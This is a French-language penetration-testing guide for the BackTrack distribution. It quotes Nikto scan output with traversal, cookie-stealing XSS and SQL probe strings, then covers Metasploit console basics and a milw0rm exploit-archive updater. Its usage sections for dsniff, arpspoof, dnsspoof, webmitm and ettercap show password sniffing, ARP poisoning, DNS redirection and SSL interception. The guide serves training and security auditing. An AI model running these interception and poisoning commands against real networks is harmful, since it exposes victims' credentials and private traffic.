+ Target Port: 80 + Using IDS Evasion: Random URI encoding (non-UTF8) + Start Time: 2008-09-16 10:26:17 --------------------------------------------------------------------------+ Server: Apache/2.2.3 (Debian) mod_python/3.2.10 Python/2.4.4 PHP/5.2.0-8+etch10 mod_perl/2.0.2 Perl/v5.8.8 + No CGI Directories found (use '-C all' to force check all possible dirs) - Root page / redirects to: hxxp://joomla12/apache2-default/ - Retrieved X-Powered-By header: PHP/5.2.0-8+etch10 + /robots.txt - contains 13 'disallow' entries which should be manually viewed (added to mutation file lists) (GET). + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST. + PHP/5.2.0-8+etch10 appears to be outdated (current is at least 5.2.4) + Apache/2.2.3 appears to be outdated (current is at least Apache/2.2.6). Apache 1.3.39 and 2.0.61 are also current. + mod_python/3.2.10 appears to be outdated (current is at least 3.3.1) + PHP/5.2.0-8+etch10 appears to be outdated (current is at least 5.2.4) + mod_perl/2.0.2 appears to be outdated (current is at least 5.8.0) + OSVDB-0: GET /joomla12/help/ : Help directory should not be accessible + OSVDB-0: GET /joomla12/index.php?module=My_eGallery : My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. + OSVDB-8193: GET /joomla12/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc : EW FileManager for PostNuke allows arbitrary file retrieval. + OSVDB-12184: GET /joomla12/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 : PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. + OSVDB-3092: GET /joomla12/administrator/ : This might be interesting... + OSVDB-3092: GET /joomla12/includes/ : This might be interesting... + OSVDB-3093: GET /joomla12/index.php?base=test%20 : This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: GET /joomla12/index.php?IDAdmin=test : This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: GET /joomla12/index.php?pymembs=admin : This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: GET /joomla12/index.php?SqlQuery=test%20 : This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: GET /joomla12/index.php?tampon=test%20 : This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3093: GET /joomla12/index.php?topic=<script>alert(document.cookie)</script>%20 : This might be interesting... has been seen in web logs from an unknown scanner. + OSVDB-3761: GET /joomla12/?pattern=/etc/*&sort=name : The TCLHttpd 3.4.2 server allows directory listings via dirlist.tcl. + 2963 items checked: 22 item(s) reported on remote host + End Time: 2008-09-16 10:27:08 (51 seconds) --------------------------------------------------------------------------+ 1 host(s) tested PÉNÉTRATION #Métasploit Metasploit est un projet qui rassemble tous les développeurs d'exploit qui partagent leurs découvertes à travers le monde, ce qui donne comme but à la communauté d'améliorer et de rendre l'information des vulnérabilités plus ouvertes. Il contient donc une base de données, capable de simplifier les tests d'intrusion sur des failles importantes. Pour information, elle contient : Exploits : 274 Modules auxiliaires : 52 Payloads : 122 Encodeurs : 17 Générateur de Nops : 6 Pour permettre une liberté complète, il est doté d'un framework (écrit en Ruby), dont le but est de concevoir ou d'apporter des modifications aux exploits. Cette page permet de regrouper les différents points importants, tels que la sélection d'exploits, l'entrée d'arguments (IP, port, tailles...), la sélection de payload...etc Il existe deux manières de gérer ceci, soit par la console, à l'aide de msfconsole, soit par une interfaçe web msfweb (Plus simple à utiliser). Version : 3.x msfconsole Commandes de base * help (or '?') – Affiche les commande msfconsole * show exploits – Affiche la liste des exploits disponible * show payloads – Affiche la liste des payloads disponible * info exploit [exploit name] – Affiche des informations détaillé de l'exploit ainsi que les différentes options disponible * info payload [payload name] – Affiche des informations détaillé du payload ainsi que les différentes options disponible * use [exploit name] – Charge l'environnement de l'exploit que msfconsole doit utilisé * show options – Affiche les options de l'exploit sélectionné par la commande "use" * show payloads – Affiche les payload compatible avec l'exploit sélectionné par la commande "use" * set PAYLOAD – Permet de sélectionner un payload * show targets – Affiche la liste des OSs cible de l'exploit * set TARGET – Permet de spécifier l'OS cible * set RHOST – Permet de spécifier l'adresse IP de la cible * set LHOST – Permet de spécifier l'adresse IP local utilisé pour le reverse commande shell * back – Décharge l'environnement de l'exploit sélectionné msfweb msfupdate Permet la mise à jour du framework et des différents modules (utilise une connection SSL). #Milworm Exploit Milw0rm est un site aux multiples services. Tout d'abord il est connu pour ses nombreux exploits. Une archive de ces exploits est régulièrement mise à jour et proposée en téléchargement. Il contient également un service de hash et de tutoriaux videos. update-milw0rm Les développeurs de Remote-Exploit ont mis au point un script shell permettant d'effectuer une mise à jours de l'archive. Source #!/bin/bash echo "Downloading Exploit archive from Milw0rm" wget http://www.milw0rm.com/sploits/milw0rm.tar.bz2 echo "Extracting Archive" tar jxpf milw0rm.tar.bz2 rm milw0rm.tar.bz2 cd milw0rm ./makeindex-milw0rm Utilisation bt ~ # cd /pentest/exploits bt exploits # update-milw0rm makeindex-milw0rm Dans l'archive se trouve un autre script shell des webmasters de Milw0rm, il permet de construire un index des exploits pour une navigation plus pratique. Source #!/bin/bash echo "Generating Exploit List, please wait" rm -rf sploitlist.txt find . -xtype f >allfiles.txt for file in $(cat allfiles.txt);do echo $file $(head -1 $file|cut -d" " -f2-30)|grep -v CVS >>sploitlist.txt done rm allfiles.txt echo "Done!" echo 'You can "cat sploitlist.txt |grep -i exploit"' Utilisation bt exploits # cd milw0rm bt milw0rm # makeindex-milw0rm Navigation bt milw0rm # cat sploitlist.txt | grep -i exploit ESCALADE DE PRIVILÈGES #Introduction au spoofing, sniffing, et aux brutes forceurs. Les diverses attaques informatiques n'ont jamais été au sens propre très difficiles et complexes à pratiquer. Par contre, leur compréhension, leur conception, et la programmation de leurs outils, sont difficiles. On ne peut attribuer de mérite à ceux qui en font des usages abusifs, sans savoir réellement ce qu'ils font. Cette partie traite ainsi des outils disponibles pour mettre en place des attaques de type spoofing, sniffing, et brute force. Vous trouverez une explication sur ces notions plus bas. Le Spoofing Le spoofing est une notion qui s'utilise dans plusieurs domaines informatiques. Elle peut ainsi comprendre plusieurs sens. De manière générale, elle s'identifie à de la modification de données, dans le but de se faire passer pour quelqu'un d'autre. L'une des attaques de spoofing les plus connues, est celle du spoof d'adresse IP. Il existe également les attaques de type Phishing, qui résultent d'une usurpation d'identité. ... (à suivre) [Section Spoofing] le Man In The Middle (MITM) D'après Wikipédia : L'attaque de l'homme du milieu (HDM) ou man in the middle attack (MITM) en cryptographie est une attaque dans laquelle l'attaquant est capable de lire, insérer et modifier comme il le souhaite les messages chiffrés entre deux parties, sans que ni l'un ni l'autre ne puisse se douter que le canal de communication entre eux a été compromis. L'attaquant doit d'abord être capable d'observer et d'intercepter les messages d'une victime à l'autre. Ainsi, pour prendre un exemple, Bob et Alice croient discuter entre eux : ------ Msg 1 -----> Alice Bob <---- Msg 2 -------Mais Mallory les écoute et modifie leur conversation : --- Msg 1 ---\ /------- Msg #*?@ ---> Alice Mallory Bob <-- Msg pouet ---/ \--- Msg 2 ------Arp Spoofing / Arp Redirect Voir Wikipédia. (...) Replay attack Comme son nom l'indique, le principe de la "replay attack" consiste à rejouer un paquet. L'assaillant intercepte un paquet valide sur le réseau. Il le renvoie au moment opportun afin d'obtenir des informations de la part du récepteur original du paquet. Le Phising Le Sniffing Le sniffing est certainement l'étape la plus importante pour compromettre un réseau. Celle-ci a pour but de récolter le maximum d'informations transitant sur les réseaux (mots de passe, compte, information à potentiel...). En effet, toutes les informations qui se diffusent au travers d'un réseau peuvent être interceptées. Il suffit alors qu'une communication entre deux ordinateurs s'effectue au travers de routeurs. Pour mettre en place ce genre d'attaque, les logiciels de sniffing mettent la carte réseau en mode "promiscious" (ce mode n'est pas activé par défaut), c'est-à-dire à l'écoute de tout le trafic. Le sniffing dépend de la disposition du réseau. Vous pourrez intercepter tout trafic dans un noeud réseau relié autour d'un Hub ( Équipement réseau qui connecte plusieurs machines qui duplique le signal reçu à chacun de ses ports sur tous les autres ports, et donc tout les équipements connectés "entendent" tous les signaux). En revanche, dans le cas d'un Switch ( Équipement réseau qui organise le trafic reçu de façon à adresser/organiser/aiguiller les paquets seulement au destinataire concerné), vous ne pourrez récupérer le trafic qu'en vous interposant entre les deux communicants (MITM). (schéma1 : Cas de figure avec un hub) (schéma2 : Cas de figure avec un switch) [Section Sniffing] Les Brutes Forces Véritable casseur de mot de passe, ils portent un coup mortel à la sécurité. Les brutes forces agissent de façon multiple. Ces programmes s'utilisent soit à distance, soit en local. Il s'agit généralement de tenter (directement ou indirectement) toutes les combinaisons possibles jusqu'à trouver la bonne, notamment pour des mots de passe, des clés, etc. (...) Les hashs Les rainbows tables SNIFFING Dsniff est à la fois une suite d’utilitaire et un utilitaire lui-même d’audit réseau permettant aisément de sniffer les passwords circulants en clair, dans des protocoles non sécurisés. Afin de ne pas vous perdre dans les différents programmes de sa suite, nous les regrouperons sur cette page. Ainsi, Il détecte automatiquement les protocoles d’application, en capturant seulement les données intéressantes (Des mots clefs : pass, user,...). Elles concernent les sessions FTP, telnet, SMTP, HTTP, POP, NNTP, IMAP, SNMP, LDAP, rlogin, RIP, OSPF, PPTP, AIM, IRC,... Chacun de ses programmes a un but précis (capture de mail, de fichier, d'url...). Dsniff est beaucoup plus efficace à utiliser durant un MITM, c'est pourquoi on le retrouve souvent utilisé en complément de Ettercap. Version actuelle : 2.4 #Dsniff Usage dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression] Options -c Perform half-duplex TCP stream reassembly, to handle asymmetrically routed traffic (such as when using arpspoof(8) to intercept client traffic bound for the local gateway). -d Activer le mode debug (ce qui détaille toutes les actions du logiciel). -m Permet la détection automatique de protocole. -n Ne pas résoudre les adresses ip en host. -i interface Utiliser l'interfaçe de la carte réseau interface pour écouter. -s snaplen Taille maximum en octet des données à extraire du paquet (1024 par défaut). -f services Focaliser la capture uniquement sur un service. Vous en avez la liste dans /etc/services -r savefile Lire un fichier de capture sauvegardé par dsniff (avec l'option -w) -w file Sauvegarde une session de capture expression Utilisez une expression de filtrage tcpdump Exemples d'utilisation Pour capturer tous les logins/pass circulant à travers sa carte réseau (notre interfaçe réseau est eth0) : bt ~ # dsniff -i eth0 Pour les enregistrer dans un fichier : bt ~ # dsniff -i eth0 -w pass.txt Pour capturer tous les logins/pass du service ftp : bt ~ # dsniff -i eth0 -f ftp Axer le sniffing que sur une adresse du réseau grâce à une expression tcpdump (exemple 192.168.1.18) bt ~ # dsniff src 192.168.1.18 #Filesnarf Filesnarf permet de sniffer des fichiers qui transitent par le protocole NFS (NFSv4.1 aussi?). Celui-ci s'utilise simplement en ligne de commande. Usage filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]] Options -i interface Spécifier l'interfaçe réseau à utiliser. -v "Versus" mode. Invert the sense of matching, to select non- matching files. pattern Spécifier un texte à filtrer dans la recherche de fichier expression Spécifier un filtre tcpdump pour sniffer le trafic Exemples d'utilisation Ecouter le réseau des échanges de fichier NFS sur l'interfaçe eth0: bt ~ # filesnarf -i eth0 Utiliser une expression de tcpdump qui capture tous les paquets émis par 192.168.1.10 du protocole tcp, tout celà sur l'interfaçe rausb0 bt ~ # filesnarf -i rausb0 and src 192.168.1.10 and tcp Rechercher tout document qui contient le texte "password", l'interfaçe n'est pas mentionné, filesnarf prendra automatiquement celle active. bt ~ # filesnarf -v "password" #Mailsnarf Mailsnarf part du même principe que Filesnarf, sauf que celui-ci capture le courrier électronique des protocoles POP (Service pour récupurer ses mails : port 109/110) et SMTP (Service pour envoyer des mails : port 25). Les options et les exemples d'utilisation sont les mêmes que Filesnarf Usage mailsnarf [-i interface | -p capfile] [[-v] pattern [expression]] #Urlsnarf Ulrsnarf va logguer toutes les requêtes visant le trafic HTTP. Il surveille par défault les ports 80, 8080, et 3128. Les options, et exemples d'utilisation sont les mêmes que Filesnarf. Usage urlsnarf [-n] [-i interface | -p capfile] [[-v] pattern [expression]] #Msgsnarf Ce programme est capable d'enregistrer tous les messages privés envoyés à travers Instant Messenger d'AOL, ICQ, mais également des messages IRC, MSN Messenger, et Yahoo Messenger. Les options, et les exemples d'utilisation sont les mêmes que Filesnarf Usage msgsnarf [-i interface | -p capfile] [[-v] pattern [expression]] #Webspy Webspy est un petit outil, qui permet de capturer les sites web des requêtes HTTP visité par une machine sur le réseau dans le but de les relancer sur votre navigateur. Vous pourrez voir la page en cours de visualisation de cette personne. Ceci à la condition de réaliser une attaque de type MITM (Man In The Middle). De plus ce dernier est limité en capacité. Prenons l'exemple que votre victime utilise un moteur de recherche, tous les liens de recherche envoyés par le moteur de recherche seront considérés comme des pages visités (par exemple, le premier site qui arrive en tête de sa recherche s'ouvrira sur votre navigateur). De plus, il fonctionne, dans la majeure partie des cas que sur les noms de domaine principaux. Usage webspy [-i interface | -p capfile] host Options -i interface Activer l'interfaçe réseau interface host Host réseau qu'on veut écouter Exemples d'utilisation L'exemple suivant, permet de visualiser en temps réelle les pages visitées d'une machine de notre réseau.(veillez à ouvrir votre navigateur avant). bt ~ # webspy -i eth0 192.168.1.12 #Dnsspoof Dnsspoof intercepte les requêtes DNS. Pour celà, il est nécessaire d'être dans un contexte de MITM. Ainsi il est possible de les modifier, en suggérant simplement un fichier host (option -f) Usage dnsspoof [-i interface] [-f hostsfile] [expression] Options -i interface Interfaçe réseau à utiliser -f hostsfile Indiquez un fichier au format host Si aucun argument n'est spécifié, Les requêtes seront destinés à tous les adresses du réseau. La redirection des réponses aura comme destinataire votre adresse local. expression Indiquez une expression tcpdump pour filtrer uniquement un trafic préçis Exemples d'utilisation Voir simplement les requête DNS à destination de la passerelle internet 192.168.1.1, en utilisant notre interfaçe wifi rausb0 dnsspoof -i rausb0 dst 192.168.1.1 Si on modifie notre fichier /etc/hosts, en insérant cette ligne : 84.16.87.28 *.remote-exploit.org On peut remarquer que l'ip correspond à notre site http://www.backtrack-fr.net , ce dernier est associé à l'host remote-exploit.org. En lançant donc dnsspoof de cette manière : dnsspoof -i eth0 -f /etc/hosts dst 192.168.1.1 Toutes les requêtes à destination de 192.168.1.1 qui voudrons accéder à l'adresse remote-exploit.org, le serveur dns (en l'occurence ici il s'agit de notre fichier hosts), renverra l'adresse ip de notre site. #Arpspoof Utilitaire qui "empoisonne" ses cibles en forgeant des paquets ARP contenant une fausse adresse de correspondance. Usage arpspoof [-i interface] [-t target] host Options -i interface Interfaçe réseau à utiliser -t target Adresse de la cible à qui envoyer le paquet ARP empoisonné host Adresse de la cible à qui usurper l'identité. Exemples d'utilisation Utilisez l'interfaçe rausb0 pour empoisonner la passerelle du réseau (192.168.1.1) dans le but de rediriger tous les paquets à destination de 192.168.1.10 vers sa propre machine. arpspoof -i rausb0 -t 192.168.1.1 192.168.1.10 Dans la même optique, nous capturerons les paquets de la machine 192.168.1.10 à destination de 192.168.1.1. arpspoof -i rausb0 -t 192.168.1.10 192.168.1.1 #Macof Sshmitm sshmitm [-d] [-I] [-p port] host [port] #Webmitm Webmitm est un petit proxy transparent, qui va relayer une connection http/https, tout en l'écoutant dans le but de capturer des données importantes sécurisé (par SSL) telle que les mots de passe des services mails. Il va tromper la machine cible, en lui imposant un faux certificat. Il ne restera plus qu'à déchiffré l'ensemble par le biais de ssldump par exemple. Note : La première fois que vous lancez ce programme, il générera un certificat qui sera enregistré dans le répertoire courant (cf screen) Usage webmitm [-d] [host] Options -d Active le debugging host Host de destination vers lequel relayer les paquets. Exemples d'utilisation Capturer une communication https de façon transparente en activant le mode debugging. webmitm –d #Ettercap-ng Ettercap est un utilitaire réseau aux multiples fonctionnalités. A sa naissance, l’utilisation la plus courante qu’on en faisait était de sniffer (capturer les paquets) des réseaux LAN. Dorénavant, il est également possible de réaliser des attaques de type Man In The Middle (MITM ou "Homme au milieu" : voir Introduction au spoofing, sniffing, et aux brutes forceurs.) (attaque comme l’hijacking TCP, le DNS Spoofing...). Ettercap est doté de plugins facilitant la recherche de mots de passe. Pour cela, il suffit simplement qu’une session d’un protocole non sécurisé ait lieu, et Ettercap détecte toutes les informations sensibles. De nombreux protocoles sont supportés (FTP, HTTP, telnet,...). Depuis l’intégration de module gérant le SSH et les sessions HTML sécurisés (SSL), il est également possible de récupérer les mots de passe grâce à la méthode MITM.Il est également composé de fonctions intéressantes sur le réseau comme l’injection de requêtes, soit à envoyer au client (pour par exemple garder une connexion active), soit à envoyer au serveur (pour en tirer parti). On peut également réaliser des analyses d’hosts intéressantes et des identifications sur les machines (informations sur le système...etc) C’est un projet libre, qui peut être utilisé au travers d’un mode graphique, et d'un mode texte simple, ou interactif avec des menus. Version actuelle : 0.7.3 Mode graphique Vous pouvez le lancer à partir de la ligne de commande : bt ~ # ettercap -G Le sniffing et les dissecteurs Pour éviter de se noyer dans la masse des données capturés, Ettercap met en place des dissecteurs, c'est à dire des filtres qui gardent les paquets à potentiel, tel que les mots de passe et les identifiants. Vous pouvez également créer les vôtres. Les plugins Informations disponibles sur le réseau Beaucoup de protocoles utilisent des systèmes de communications non sécurisés : le telnet , le FTP , et certains sites HTTP ne sont pas du tout protégés et les mots de passe circulent en clair. De plus , l'implémentation du remplacement d'un certificat permet de sniffer les sessions SSL. Cas du Man In The Middle ou MITM Ettercap-ng a surtout été développé pour mettre en place rapidement et efficacement une attaque du type Man In The Middle. Arp Poisoning Il faut en premier lieu spécifier ce que l'on souhaite "sniffer" : pour ce faire , dérouler le menu "sniff" et choisir son mode : Unified : sur une seul carte réseau Bridged : sur deux cartes réseau Afin de réaliser de l'ARP Poisoning, il faut tout d'abord scanner la plage IP correspondant au réseau local du poste, afin de déterminer les hôtes en ligne. Le bouton Scan for Host réalisera cette action. Les hôtes en ligne seront alors ajoutés dans la Host List. Target1 et Target2 représentent la liste des ordinateurs entres lesquels nous allons nous immiscer. Ajoutez au moins une IP dans chacune de ces deux listes. Pour commencer l'attaque , on sélectionne ARP Poisoning dans le menu Mitm. Pensez aussi à l'utiliser avec d'autres outils ainsi qu'avec les plugins : Le plugin chk_poison vous indiquera si l'arp poisoning fonctionne bien ce qui est fort appréciable. Le plugin dns_spoof va permettre de rediriger une url sur celle que l'on veut (remplacer microsoft.com par celle souhaité léa linux; linux france...) Vous pouvez aussi rediriger sur votre serveur apache en local (rappel: menu kde,service, httpd, start httpd). Ici on va placer dans notre fichier DNS notre adresse ip locale pour rediriger vers le serveur apache. Il y a aussi l'abaissement de niveau qui est fort intéressant comme plugin... Une utilisation de ettercap-ng couplé à driftnet en wifi est vraiment intéressante puisque vous pouvez observer les images et la vidéo (mpeg) de la victime (+ sauvegarde si désiré). Pour les connections sécurisés (tel que GMail) pensez à décommenter les iptables dans votre fichier de configuration etter.conf Icmp redirect #Ipgrab Ipgrab permet d'analyser les trames qui circulent sur une interface réseau. Il fonctionne sur le même principe que Wireshark mais tout se fait dans un shell. Installation apt-get install ipgrab Usage ipgrab [ -abcCdilmnPprTtwxhv ] Options [ -a ] (type=FLAG) Don't print application layer data [ -b ] (type=FLAG) Make stdout buffered [ -c ] [ --count ] (type=INTEGER, range=1...,) Exit after receiving 'count' packets [ -d ] (type=FLAG) Dump padding if any exists [ -i ] [ --interface ] (type=STRING) Listen on interface 'interface' [ -l ] (type=FLAG) Don't print link-layer headers [ -m ] (type=FLAG) Minimal output [ -n ] (type=FLAG) Don't print network-layer headers [ -P ] (type=STRING) Dynamic port mapping (usage: 'protocol=port') [ -p ] (type=FLAG) Display unknown application payloads in hex [ -r ] (type=STRING) Read from file rather than interface [ -T ] (type=FLAG) Don't print timestamps in minimal mode [ -t ] (type=FLAG) Don't print transport-layer headers [ -w ] (type=STRING) Write the raw packets to a file [ -x ] (type=FLAG) Display hex dump of each field [ -h ] [ --help ] (type=FLAG) Afficher l'aide [ -v ] [ --version ] (type=FLAG) Afficher la version #Tcpick Installation apt-get install tcpick Usage tcpick [ -a ] [ -n ] [ -C ] [ -e count ] [ -i interface | -r file ] [ -X timeout ] [ -D ] [ -F1 | F2 ] [ -yH | -yP | -yR | -yU | -yx | -yX ] [ -bH | -bP | -bR | -bU | -bx | -bX ] [ -wH[ub] | -wP[ub] | -wR[ub] | -wU[ub] ] [ -v [ verbosity ]] [ -S ] [ -h] [ --separator ] [ -T | -Tf [ number ]] [ -E [ -Ef [ number ]] [ -Pc | -Ps ] [ "filter" ] [ --help ] [ --version ] #TCPDump TCPDump est un Sniffer réseau puissant fonctionnant en ligne de commande. Usage tcpdump [-aAdDeflLnNOpqRStuUvxX] [ -B size ] [ -c count ] [ -C file_size ] [ -E algo:secret ] [ -F file ] [ -i interface ] [ -M secret ] [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ] [ -W filecount ] [ -y datalinktype ] [ -z command ] [ -Z user ] [ expression ] TcpDump affiche l'en-têtes des paquets d'une interface réseau qui correspondent à une expression booléenne. Il peut également être exécuté avec l'option -w, ce qui permet de sauvegarder les données dans un fichier pour une analyse ultérieur, et/ou avec le paramètre -b qui à pour but de lire un fichier enregistré. Dans tout les cas, seuls les paquets qui correspondent à l'expression seront traitées par TcpDump. Si Tcpdump n'est pas utilisé avec l'option -c il va capturer les paquets jusqu'à être interrompue par le signal SIGINT (obtenue généralement avec ctrl+c) ou encore avec un signal SIGTERM (obtenue avec la commande kill). Si l'option -c est utilisé, TcpDump capture les paquets jusqu'à ce qu'il soit interrompue par un signal SIGINT ou SIGTERM ou lorsque que le nombre de paquets est atteint. Options -A Essaie de convertir les adresses réseau et de diffusion en noms. -c Quitte après la réception de n paquets. -C -dd -dddd -e -E -f -F -i -l -m -N -O -p -q -R -r -S -s -T -t -tt -ttt -tttt -v -vv -vvv -w -x -X Format de sortie Exemple Autres Exemples Pour suivre ces exemples, il vous faudra ouvrir 2 consoles: une pour TCPDump, l'autre pour les programmes relatifs à nos tests. Envois de 2 Ping à une Freebox V5 Mise en écoute: bt ~ # tcpdump -vv -c 12 -i eth0 Envoi des PINGs: bt ~ # ping -c 2 -i 0.5 -s 512 -t 64 192.168.0.254 PING 192.168.0.254 (192.168.0.254) 512(540) bytes of data. 520 bytes from 192.168.0.254: icmp_seq=1 ttl=64 time=1.07 ms 520 bytes from 192.168.0.254: icmp_seq=2 ttl=64 time=0.884 ms --- 192.168.0.254 ping statistics --2 packets transmitted, 2 received, 0% packet loss, time 500ms rtt min/avg/max/mdev = 0.884/0.979/1.074/0.095 ms Résultats: tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes 02:14:32.987010 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: ICMP (1), length: 540) 192.168.0.1 > 192.168.0.254: ICMP echo request, id 36644, seq 1, length 520 02:14:32.987913 IP (tos 0x0, ttl 64, id 25991, offset 0, flags [none], proto: ICMP (1), length: 540) 192.168.0.254 > 192.168.0.1: ICMP echo reply, id 36644, seq 1, length 520 02:14:33.487283 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: ICMP (1), length: 540) 192.168.0.1 > 192.168.0.254: ICMP echo request, id 36644, seq 2, length 520 02:14:33.488164 IP (tos 0x0, ttl 64, id 25992, offset 0, flags [none], proto: ICMP (1), length: 540) 192.168.0.254 > 192.168.0.1: ICMP echo reply, id 36644, seq 2, length 520 02:14:35.541502 arp who-has 192.168.0.4 tell 192.168.0.254 02:14:36.541503 arp who-has 192.168.0.4 tell 192.168.0.254 02:14:37.541538 arp who-has 192.168.0.4 tell 192.168.0.254 02:14:37.981217 arp who-has 192.168.0.1 tell 192.168.0.254 02:14:37.981236 arp reply 192.168.0.1 is-at 00:11:d8:39:4c:00 (oui Unknown) ... 12 packets captured 24 packets received by filter 0 packets dropped by kernel Scan Nmap de type Services detection sur le port n°25 Mise en écoute: tcpdump -vv -c 24 -i eth0 Scan et service detection du port n°25 avec nmap: bt ~ # nmap -vv -sV -p25 127.0.0.1 Starting Nmap 4.20 ( http://insecure.org ) at 2007-08-03 02:32 CEST Initiating SYN Stealth Scan at 02:32 Scanning bt.example.net (127.0.0.1) [1 port] Discovered open port 25/tcp on 127.0.0.1 Completed SYN Stealth Scan at 02:32, 0.01s elapsed (1 total ports) Initiating Service scan at 02:32 Scanning 1 service on bt.example.net (127.0.0.1) Completed Service scan at 02:32, 0.00s elapsed (1 service on 1 host) Host bt.example.net (127.0.0.1) appears to be up ... good. Interesting ports on bt.example.net (127.0.0.1): PORT STATE SERVICE VERSION 25/tcp open smtp Sendmail 8.13.8/8.13.8 Service Info: OS: Unix Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 0.086 seconds Raw packets sent: 1 (44B) | Rcvd: 2 (88B) Résulats: tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes 02:01:51.723315 IP (tos 0x0, ttl 58, id 24152, offset 0, flags [none], proto: TCP (6), length: 44) localhost.57736 > localhost.smtp: S, cksum 0x39aa (correct), 2584926405:2584926405(0) win 3072 <mss 1460> 02:01:51.723564 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 44) localhost.smtp > localhost.57736: S, cksum 0xdec3 (correct), 772046432:772046432(0) ack 2584926406 win 32792 <mss 16396> 02:01:51.723585 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 40) localhost.57736 > localhost.smtp: R, cksum 0x5d63 (correct), 2584926406:2584926406(0) win 0 02:01:51.817021 IP (tos 0x0, ttl 64, id 58919, offset 0, flags [DF], proto: TCP (6), length: 60) localhost.healthd > localhost.smtp: S, cksum 0x5238 (correct), 762270708:762270708(0) win 32792 <mss 16396,sackOK,timestamp 17413587 0,nop,wscale 2> 02:01:51.817044 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 60) localhost.smtp > localhost.healthd: S, cksum 0x4e9b (correct), 769269485:769269485(0) ack 762270709 win 32768 <mss 16396,sackOK,timestamp 17413587 17413587,nop,wscale 2> 02:01:51.817060 IP (tos 0x0, ttl 64, id 58920, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.healthd > localhost.smtp: ., cksum 0x17b5 (correct), 1:1(0) ack 1 win 8198 <nop,nop,timestamp 17413587 17413587> 02:01:51.820203 IP (tos 0x0, ttl 64, id 43837, offset 0, flags [DF], proto: TCP (6), length: 133) localhost.smtp > localhost.healthd: P 1:82(81) ack 1 win 8192 <nop,nop,timestamp 17413588 17413587> 02:01:51.820223 IP (tos 0x0, ttl 64, id 58921, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.healthd > localhost.smtp: ., cksum 0x1762 (correct), 1:1(0) ack 82 win 8198 <nop,nop,timestamp 17413588 17413588> 02:01:51.821374 IP (tos 0x0, ttl 64, id 58922, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.healthd > localhost.smtp: F, cksum 0x1761 (correct), 1:1(0) ack 82 win 8198 <nop,nop,timestamp 17413588 17413588> 02:01:51.821596 IP (tos 0x0, ttl 64, id 43838, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.smtp > localhost.healthd: F, cksum 0x1766 (correct), 82:82(0) ack 2 win 8192 <nop,nop,timestamp 17413588 17413588> 02:01:51.821606 IP (tos 0x0, ttl 64, id 58923, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.healthd > localhost.smtp: ., cksum 0x1760 (correct), 2:2(0) ack 83 win 8198 <nop,nop,timestamp 17413588 17413588> ... 24 packets captured 48 packets received by filter 0 packets dropped by kernel #Wireshark Wireshark (qu'on pourrait franciser par le "requin du réseau") est l'un des outils les plus complets en matière d'audit et d'analyse de données transitant au travers d'un réseau local. Anciennement nommé Ethereal, il permet un contrôle efficace sur les paquets interceptés (filtrage, reconstituer une communication, ...), ce qui permet aux administrateurs réseaux de connaitre la source d'un conflit. Son atout principal est de fusionner ergonomie et puissance. En effet, Wireshark est simple d'utilisation, et ses possibilités sont nombreuses ! Version actuel : 0.99.6 Interface utilisateur La fenêtre principale Menu "File" Le menu "File" vous permet d'ouvrir un fichier de trame réseau, de fermer le projet actuel, de fusionner un fichier au projet actuellement ouvert. De façon courante, c'est par ce menu qu'on sauvegardera le projet ouvert, et qu'on l'exportera vers un format externe. Si le bouton croix vous fatigue, vous pourrez toujours fermer le programme par ce menu. Menu "Edit" Ce menu est consacré aux recherches et marquages de paquets. Préférence Le sous-menu Préférence est important, dans la mesure où c'est le centre des configurations de wireshark. Il est conseillé de le visiter, pour ainsi adapter le programme à vos préférences. A travers celui-ci, vous pourrez disposer les divers panels de l'interface utilisateur, les méthodes d'affichages, les diverses options de sniffing, et aussi la configuration des protocoles. Note : Ces diverses configurations peuvent être retrouvées dans les menus associés. Menu "View" Comme souvent, ce menu active ou désactive l'affichage de certaines barres d'affichage. Le format de la date, la colorisation des paquets selon leur type...etc Menu "Go" Menu qui permet d'accéder directement à l'information voulue, d'aller en arrière ou en avant, selon ses recherches. Menu "Capture" Premier menu important, puisqu'on accède directement aux interfaces réseaux pour lancer le sniffing (cf section Voir le trafic des cartes réseaux), aux options de capture (cf section Options de capture), puis de (re)démarrer/arrêter le sniffing, et d'accéder aux options de filtrage primaire. Menu "Analyze" Comme son nom l'indique, ce menu vous permet d'analyser les paquets. Il dispose donc du menu de filtrage "Display Filters" (nous l'appellerons filtrage primaire, car c'est le plus important filtre, qui refuse, ou capture un paquet selon les arguments donnés, nous aurons ensuite un second filtre, n'ayant pas la même fonction) ... Menu "Statistics" Avant-dernier menu, qui crée/recherche tout ce qui a trait à des statistiques en ciblant le type de communication/protocole utilisé. Menu "Help" Ce menu d'aide, traite globalement du programme, des options, une FAQ est intégrée sur les questions courantes. Barre d'outil principale Raccourci vers les différentes options décrites ci-dessus. Passez la souris sur ces boutons pour en connaitre la fonction. Barre de filtrage secondaire Cette 